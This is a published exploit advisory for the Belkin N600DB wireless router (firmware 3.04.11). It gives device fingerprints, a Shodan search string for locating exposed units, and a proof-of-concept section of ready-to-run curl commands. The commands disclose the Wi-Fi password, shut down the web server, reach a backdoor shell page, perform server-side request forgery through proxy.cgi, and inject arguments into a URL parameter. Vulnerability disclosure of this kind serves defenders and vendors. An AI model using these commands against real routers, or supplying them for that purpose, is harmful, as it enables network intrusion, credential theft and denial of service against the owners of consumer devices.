Belkin N600DB Command Injection / Backdoor

`# Exploit Title: Belkin N600DB Wireless Router | Multiple Vulnerabilities  
# Date: 16/01/2018  
# Exploit Author: Wadeek  
# Hardware Version: F9K1102as v3  
# Firmware Version: 3.04.11  
# Vendor Homepage: http://www.belkin.com/fr/support/product/?pid=F9K1102as  
# Firmware Link: http://cache-www.belkin.com/support/dl/F9K1102_WW_3.04.11.bin  
  
== Wireless Fingerprinting ==  
#===========================================  
:ESSID: "belkin.XXX"  
:Mode: Master  
:Encryption key WPA2 Version 1 CCMP PSK: on  
:Wireless Password/PIN: 8-alphanumeric  
:DHCP: enable (192.168.2.1)  
:MAC Address: 58:EF:68  
#===========================================  
  
== Web Fingerprinting (With Locked Web Interface) ==  
#===========================================  
:www.shodan.io: "Server: httpd" "Cache-Control: no-cache,no-store,must-revalidate, post-check=0,pre-check=0" "100-index.htm"  
#===========================================  
:Device images:  
/images/troubleshooting/checkWires.png (600x270)  
/images/troubleshooting/startModem.png (600x270)  
/images/troubleshooting/stopModem.png (600x270)  
/images/troubleshooting/restartRouter.png (600x270)  
#===========================================  
:Hardware version,Firmware version,Serial number,...: /cgi/cgi_st.js && /cgi/cgi_dashboard.js  
#===========================================  
  
== PoC ==  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
:Disclore wifi password:   
curl --silent "http://192.168.2.1/langchg.cgi"   
||   
curl --silent "http://192.168.2.1/adv_wifidef.cgi"  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
:Closed "HTTPD server" port:  
curl --silent "http://192.168.2.1/removepwd.cgi" --data ""  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
:Web Backdoor:  
http://192.168.2.1/dev.htm  
> ?  
> sh  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
:Server-Side Request Forgery (HTTP/FTP):  
{45.33.32.156 == scanme.nmap.org}  
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=http://45.33.32.156/"  
||  
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=ftp://45.33.32.156/"  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
:Command Injection:  
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=--help"  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
`